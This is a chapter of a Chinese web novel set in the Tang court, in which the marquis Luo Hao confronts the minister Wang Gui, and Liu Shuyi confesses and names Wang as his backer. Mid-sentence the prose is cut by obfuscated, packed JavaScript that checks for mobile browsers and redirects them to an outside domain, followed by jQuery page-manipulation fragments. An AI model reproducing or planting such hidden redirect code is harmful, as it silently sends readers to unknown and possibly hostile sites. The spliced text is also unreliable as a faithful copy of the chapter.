第96章 想要证据?我多的是!
作品:《悔婚换妻?我开创盛世你慌什么!》 第九十六章想要证据?我多的是!
罗颢话音落下,宽敞的大殿内为之一静。
片刻之后。
群臣便如同开水一般,沸腾起来。
所有人的目光都充满了诧异。
集中在罗颢身上。
他们不知道这位年轻镇国侯究竟查到了什么。
居然从武功县返回之后。
将矛头直接指向王珪!
“胡言乱语,不知所谓!”
王珪此刻气得浑身发抖,愤怒伸手指向罗颢。
“就算你郑国侯是百骑司的创建者,不想看着自己手中握着的权力消散!”
“也不能如此随意攀附污蔑,指责老夫谋划此事吧?!”
不得不说。
王珪生为三朝老臣,城府不是一般人所能媲美的。
被罗颢这般当庭指出,竟是没有丝毫的慌乱。
甚至还反咬一口。
说罗颢是为了维护百骑司,污蔑自己!
群臣也是窃窃私语,眼神逐渐充满了怀疑。
毕竟罗颢所言实在太过荒唐。
不论怎么看,王珪都与此事没有任何关联。
就连龙椅上的李二。
神情也是错愕起来。
“小子,为何如此笃定?”
罗颢瞥了眼演技精湛的王珪,冷笑出声。
“王大人先不要急着反驳,本侯且问你,鲁国县公刘树义你可熟悉?”
王珪心念急转,表面却是依旧怒气冲天。
“鲁国县公是陛下刚刚**的,老夫与他素无交情,到是认识他的父亲刘文静!”
“问题是这朝堂之上的衮衮诸公,哪个不认识!”
却没想到罗颢歪了歪头,轻笑一声。
“老东西,既然你说自己与刘树义素无交情,为何我只是提到他名字,你便不假思索道出他的身份?”
“据我所知,刘文静死后,家人便被禁足在武功县,从来没有踏足京城,你为何会对刘树义如此熟悉?”
王珪脸色稍稍一变。
他这才后知后觉反应过来。
自己刚才的回应太过迅猛,以至于露出了言语的漏洞!
“老夫记性好,不行吗?”
迎着罗颢似笑非笑的眼神,王珪咬牙反驳。
罗颢却是轻轻摇了摇头。
“事到如今,你这老匹夫居然还在这里嘴硬!”
“那就让我们听听刘树义这个当事人怎么说吧……”
王珪一愣,却见罗颢拱手道:“陛下,小臣将刘树义带回京城了,他的罪责实在太过深重,小臣没有资格评判,只能请陛下问罪!”
李二此刻眼神既有惊诧,又有犹豫。
他怎么也没有想到。
只是去调查百骑司密探非法杀害大唐百姓一事。
居然会牵扯到刘文静后人身上。
刘树义……
其实罗颢刚刚提起这个名字的时候,连他都没第一时间想起来此人是谁。
直到王珪说出鲁国县公,李二才反应过来。
见罗颢神情凝重,李二拧眉问道:“这件事情为什么会与刘文静的后人有关?”
罗颢淡淡道:“因为武功县的情况,比我们想象的还要恶劣!”
随后,罗颢将他在武功县的所见所闻一一道了出来。
李二越听越怒。
等到罗颢说起刘家与当地官府沆瀣一气。
大肆残害底层百姓,搜刮银钱。
李二终于忍不住,重重一巴掌拍在龙椅的椅背上!
“砰!”
沉闷而巨大的响声回荡在整座太极殿内。
群臣连忙低头,不敢直视愤怒的李二。
“好呀,这便是朕的臣子嘛?”
“如今的大唐百废待兴,朕的子民还没有从水深火热中走出来,连温饱问题都没有得到解决!”
“朕兢兢业业,每日都在冥思苦想该如何让百姓们吃得饱饭,穿得起衣!”
“朕的皇宫连倒塌的宫殿都没钱修缮,而朕的臣子,居然已经学会欺压百姓,收刮钱财了?!”
李二如同夜枭一般喑哑的话语,让人不自觉心生畏惧。
朝堂之上,此刻寂静的落针可闻。
许久之后,终于有一位重臣站了出来,沉声道:“陛下,臣等决计不敢行如此罪事!”
“那刘家若是真的这般狂悖,陛下自可严厉处决!”
“但现在的问题是,这些都只是镇国侯一人所言,是否应该先将那刘树义召进来,当庭询问一番?”
听上去,这话似乎是在质疑罗颢。
但其中所蕴含的别样意味,却又昭然若揭。
谁都知道罗颢行事向来滴水不漏。
他既然将此事在大朝会上直接公布,便代表他掌握了确切证据。
让刘树义上来。
万一狗急跳墙,攀咬出更多人怎么办?
有几名老臣纷纷面露怒意,恶狠狠看向发言之人。
罗颢也将目光投了过去。
定眼一看,居然是御史中丞魏徵!
罗颢顿时哑然失笑。
他倒不是认为魏徵是替他说话。
这位在历史上名声极佳的千古铮臣,虽然有时候屁股会坐歪,但内心的正义确实存在。
否则也不会让李二几次怒不可遏,又不舍得问罪。
“魏卿所言有理,让刘树义上来!”
李二重重喘息几声,逐渐平复情绪。
然而冰冷的语气,去透露出这位天子心中依旧怒火冲天!
很快,战战兢兢的刘树义便被千牛卫押送上朝。
他连头都不敢抬,直接扑通一声跪倒在地。
“罪臣刘树义,参见陛下!”
李二垂眸凝视浑身颤抖的刘树义,声音带着浓浓的恨铁不成钢。
“刘树义,罗颢说你在武功县横征暴敛,将当地搅得民不聊生,此事你可承认?”
刘树义如今已经畏惧的心神俱乱。
几乎没有犹豫,便点头应下。
李二猛然起身,随手抄起桌案上的笔洗,便丢了下去。
“砰!!”
沉重的笔洗在地板上砸的四分五裂。
巨大响声更是吓了群臣一大跳。
“刘树义,朕当年对你刘家,也算是仁至义尽了吧?”
“太上皇以谋反之罪斩了你父亲,是朕保下了你一家老小!让你们回到武功县老家!”
“前不久,朕又亲自为你父亲**,将鲁国县公的爵位还给你刘家!”
“你就是这么报答朕的?”
刘树义满脸羞愧,将头在地上磕得咣当作响。
“臣有罪!臣愧对陛下的恩情!”
“请陛下降罪!”
李二疲惫揉了揉眉心,冷冷问道:“将你这些年所犯的罪行,一五一十全部说出来!”
“但凡有一点遗漏,朕不介意将原本属于你刘家的满门抄斩,重新还给你!”
李二的威严,自然是毋庸置疑。
尽管语气很平淡,却透着股不容反抗的气势!
刘树义将头深埋在地上。
声音颤抖,如同竹筒倒豆子一般。
一五一十将这些年所犯的罪行全部说了出来!
包括他如何勾结武功县当地官府,垄断药材交易……
如何从采药人手上低价购买药材,又高价卖给来自全国各地的药商……
以及如何欺压百姓,草菅人命……
这一桩桩一件件,让人触目惊心。
李二的拳头越握越紧。
望向刘树义的目光,透着彻骨冰寒。
“你父亲当年也算是一个好官,因看不惯前隋对百姓的横征暴敛,才随我李家起兵!”
“怎么到你这里,竟是做的比隋朝那些贪官污吏还要过分?!”
刘树义将脑袋在地上磕得梆梆作响。
“陛下,臣知罪!”
“臣错了,请陛下念在先父的面子上,饶恕臣一命吧!”
李二怒不可遏的摆了摆手:“事到如今,你让朕如何能饶恕你?”
“如此丧心病狂的罪行,若是朕轻饶了你,对那些百姓如何交代?”
刘树义满脸绝望的闭上眼眸。
内心过于恐惧之下,整个人都在颤抖。
恰在此时,罗颢平淡的声音响起。
“鲁国县公接着说呀,是谁支持你如此肆无忌惮的欺压百姓?”
“又是谁给你出谋划策,构陷百骑司的?”
听到罗颢的话语,群臣悄然寂静。
刘树义猛然抬头,伸手颤颤巍巍指向人群中的王珪。
“是永宁县公王珪,就是他教我怎么做的!”
“从先父被问斩,我带着刘家人回到武功县之后,王珪就派人找上门来!”
“包括神农堂的创建,如何用各种手段打压吞并武功县的药材交易,并从中牟取大量利益,都是王珪派人教我的!”
“这次污蔑百骑司密探草菅人命,也是王珪的主意!”
“他说百骑司掌握在镇国侯手中,就是悬在各大世家门阀头上的一柄利剑,必须要铲除!”
“这一切都是他的主意!”
听到刘树义撕心裂肺的怒吼。
文武百官骤然骚动起来!
绝大部分不知情的朝廷重臣,均是将目光投向谏议大夫王珪。
反而是一众世家门阀出身的老臣,此刻神情各异。
王珪发白胡须微微一抖,表面看不出丝毫的慌乱。
他眼眸中充满着愤怒,呵斥道:“胡言乱语
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16347293|180759||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,你刘家犯下如此滔天罪行,居然还妄想攀咬老夫?!”
刘树义眼眶通红,睚呲欲裂。
他知晓自己身上的罪行此刻在这大朝会上完全摊开。
神仙难救!
李二陛下恨铁不成钢的眼神,以及在场一些和刘文静有旧的重臣责备目光。
总算是唤醒了刘树义!
他终于反应过来,为什么镇国侯罗颢说他愚蠢至极。
甘愿成为旁人**斗争中的一把刀子!
所以刘树义也就不再抱有王珪会出言保他的幻想,干脆将事情完全通开。
“王大人,莫要这么快将自己撇干净……”
“难不成,你想说刘树义所言皆是假的?”
罗颢扯动嘴角,笑声中带着难以掩饰的嘲弄。
王珪眼角肌肉肉眼可见的抽搐几下。
猛然转头,恶狠狠的盯着罗颢。
“老夫知晓罗侯巧舌如簧,心思缜密,但若想将这些欲加之罪放在老夫身上,那老夫是万万不能接受的!”
“老夫承认,在刘家落难之时确实帮过几次!”
“那是因为老夫与刘文静关系不错,见不得他家妇孺老幼受苦!”
“但刘家在武功县的所作所为,却是与老夫没有半点关系!”
“刘树义,你自己行事不端,此刻居然还对老夫恩将仇报,是何道理?!”
听到王珪振振有词的解释。
群臣紧锁眉头悄然舒展,交头接耳,议论纷纷。
相较于丧家之犬的刘树义,他们自然更相信王珪。
这得益于王珪这些年在朝堂展现的良好形象。
既不媚上也不辱下,称一声治国良才也不为过!
在群臣眼中,这样德高望重的老臣,自然不会像刘树义所言那般,背地里行苟且之事。
“我所言绝无半分虚假,我可以以刘家列祖列宗的名誉发誓,若有丝毫不真实的地方,让我刘家死无葬身之地!”
刘树义瞪着眼睛,嘶吼不已。
然而他这副作态,非但没有换取群臣信任,反倒被认为是狗急跳墙。
窦抗轻咳一声,目光幽冷道:“刘家既然做出如此多**人怨的罪事,刘树义的话语自然也不可信!”
“况且王大人这些年的忧国忧民,大家有目共睹,又怎会像刘树义所言那般?”
这时,沉默许久的房玄龄手持笏板站了出来。
“臣以为,此事究竟如何,还应继续调查下去!”
“刘树义再如何狂悖,也不至于拿先祖的名义胡乱起誓吧?”
“房大人,你这话是什么意思?”
王珪怒目相视,沉声道:“莫非你当真相信这种罪人的话?”
房玄龄微微一笑,拱手道:“王大人误会了,本官只是说出自己的想法而已,事情的真相究竟如何,肯定不能看刘树义一人之言!”
“不过……”
还不等王珪松一口气,就听房玄龄话音一转。
“刘树义纵然有万般罪行,也要听他说完吧?”
王珪收回目光,眼眸深处闪过一抹阴鸷。
龙椅之上,李二又重新恢复面无表情的模样。
“刘树义,你说自己所做的一切都是受王珪指使,可有具体实证?”
刘树义低头道:“当然有证据!”
“启禀陛下,陈每年都会将神农堂的大笔收益送到王珪府上!”
“一年一万贯,从未有过断绝,这些在家中账本上都有切切实实的记录!”
李二瞥了眼王珪,悄然皱眉。
“你说的这些,顶多能证明你与王珪确实有所联系,但却不能说明你所做一切都是王珪指使的!”
“还有其他证据没有?”
刘树义茫然摇了摇头。
李二眉头越皱越紧,王珪则是面露些许笑容。
他长舒一口气:“陛下明鉴,老臣……”
然而还不等他的话说完,罗颢声音又一次响起。
“我倒是有一些证据,请诸位一观!”
王珪眼皮一跳。
只见罗颢越众而出,笑吟吟看向王珪。
“武功县的县令梅远,是王大人爱徒,这些年很多事情都是由他出面,代表王大人与刘家沟通!”
“这家伙残害多名无辜女子,已经被我砍了!”
“然而他却有一个不为人知的习惯,那便是收集名家墨宝,恰好王珪大人是当世有名的书法大家!”
“这些年给他写的书信,梅远并没有按照命令焚毁!”
罗颢从怀中掏出几张纸,轻轻摇晃。
俊逸面庞之上的笑容,让群臣望而生寒。
“这里面的内容,可是让人触目惊心呀!”
PS:上一张更新错了,四千字大章补上!求催更!

